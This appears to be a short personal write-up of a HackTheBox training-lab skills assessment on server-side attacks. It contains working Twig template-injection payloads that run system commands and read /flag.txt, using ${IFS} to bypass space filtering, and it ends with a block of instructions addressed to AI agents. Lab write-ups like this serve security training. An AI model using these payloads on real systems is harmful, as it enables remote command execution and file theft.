# Skills Assessment

* Obtain the flag.

> and they don't give shit

We can see a normali and basic web, without injectable camp but! if we intercept the main home peticion, we can see it:

<figure><img src="/files/xSrlG9LlP0JPLIwUM9Ho" alt=""><figcaption></figcaption></figure>

To API call, try SSRF and SSTI

<figure><img src="/files/Ds5yJbJ8o4kWNlTKtD05" alt=""><figcaption></figcaption></figure>

Lol, i will try antoher metoh to know it is twig or jinja2 -->

<figure><img src="/files/v203f9FCwnOYJJ80t7Wi" alt=""><figcaption></figcaption></figure>

Okay, is twig, now test LFI payloads -->

<figure><img src="/files/GPU9g3GgDfUEfWVqnlQw" alt=""><figcaption></figcaption></figure>

If we urlEncode the spaces, get us an error, we need found another metoh to put the spaces, for example delete its or use `${IFS}` -->

```
{{['id']|filter('system')}}
```

<figure><img src="/files/xhC6e97qMSXa4NeeQQlq" alt=""><figcaption></figcaption></figure>

```
{{['cat${IFS}/flag.txt']|filter('system')}}
```

> Use ${IFS}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/htb-cbbh/server-side-attacks/skills-assessment.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
